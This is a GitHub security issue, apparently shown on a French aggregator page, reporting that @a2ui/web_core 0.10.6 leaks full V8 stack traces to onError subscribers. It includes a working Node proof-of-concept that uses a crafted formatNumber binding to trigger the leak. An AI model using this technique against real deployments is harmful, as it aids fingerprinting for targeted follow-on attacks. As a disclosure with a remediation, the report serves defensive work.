a2ui-project / a2ui-project/a2ui
[BUG]: Full V8 stack traces disclosed to `onError` subscribers via `dispatchExpressionError`
- Langage dominant
- TypeScript
- Étoiles
- 16.4k
- Forks
- 1.3k
- Merge moyen
- 2 j 13 h
- PR mergées (30 j)
- 134
Description
# Full V8 stack traces disclosed to `onError` subscribers via `dispatchExpressionError`
Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-209 (Generation of Error Message Containing Sensitive Information)
## Summary
When a bound function call throws, `DataContext.dispatchExpressionError` handles `ZodError` and `A2uiExpressionError` specially, but for **any other** error it attaches `details: { stack: e.stack }` — the complete V8 stack, including internal source paths and line numbers of the SDK itself. `SurfaceModel.onError` (an EventEmitter) forwards these detail objects to every subscriber, so a server-driven binding that triggers a native error (e.g. `formatNumber` with `decimals: 200` raising `RangeError` from `Number.prototype.toFixed`) leaks the client's internal stack into whatever the host application logs or renders for surface errors.
## Affected code
- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `dispatchExpressionError` fallback branch sets `details: { stack: e.stack }` for non-Zod, non-`A2uiExpressionError` throws (npm dist `v0_9/rendering/data-context.js:267-274`)
- `SurfaceModel.onError` (EventEmitter) — dispatches `{…error, surfaceId}` to all subscribers
## Observed behavior (measured)
`formatNumber` bound with `decimals: 200` on a published-package surface; captured via `surface.onError`:
- 3 errors dispatched (initial resolution + re-fire after a data-model change)
- leaked stack frames include `at Number.toFixed ()` and the SDK-internal path of the reactivity layer (`…/web_core/…/signals.js:66`, batch write internals)
## Impact
An agent can, from a single message, cause internal file paths and SDK structure to be emitted through the application's error channel — version/structure fingerprinting that aids targeted follow-on attacks (e.g. choosing version-specific payloads). Information disclosure only.
## Suggested remediation
- Never attach `e.stack` to subscriber-visible error details; keep a generic message plus an error code, and log the stack through the host's configured logger at most.
## PoC
Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. Run `node poc_f21.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0. (The script asserts the leak by checking that an emitted `details.stack` contains the `web_core` package path.)
```js
// poc_f21.mjs — F-21: stack-trace disclosure via dispatchExpressionError.
// The fallback branch of dispatchExpressionError puts the raw e.stack of any
// non-Zod, non-A2uiExpressionError exception into details:{stack:e.stack} and
// emits it through surface.onError. A malicious server triggers a generic JS
// exception inside a catalog function: formatNumber with decimals=200 →
// Number.prototype.toFixed(200) throws RangeError INSIDE execute(), past the
// try/catch guarding getNumberFormat. Confirmed if the emitted error carries
// details.stack containing the web_core source path.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 1 } },
{
version: 'v0.9',
updateComponents: {
surfaceId: 'poc',
components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{
id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'formatNumber', args: { value: { path: '/n' }, decimals: 200 } }, message: 'bad' }],
},
],
},
},
]);
const surface = processor.model.getSurface('poc');
const errors = [];
const sub = surface.onError.subscribe(e => errors.push(e));
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const bsub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 50));
surface.dataModel.set('/n', 2); // re-fire
await new Promise(r => setTimeout(r, 50));
bsub.unsubscribe(); binder.dispose(); sub.unsubscribe();
const stackLeak = errors.find(e => e.details && typeof e.details.stack === 'string' && e.details.stack.includes('web_core'));
const ok = !!stackLeak;
console.log(JSON.stringify({
finding: 'F-21-stack-trace-disclosure',
errors_dispatched: errors.length,
leaked_stack_path: stackLeak ? stackLeak.details.stack.split('\n')[1].trim().slice(0, 80) : null,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```
Guide de contribution
Ouvrir le guide de contribution
Évaluation
Cette issue n'a pas encore été évaluée.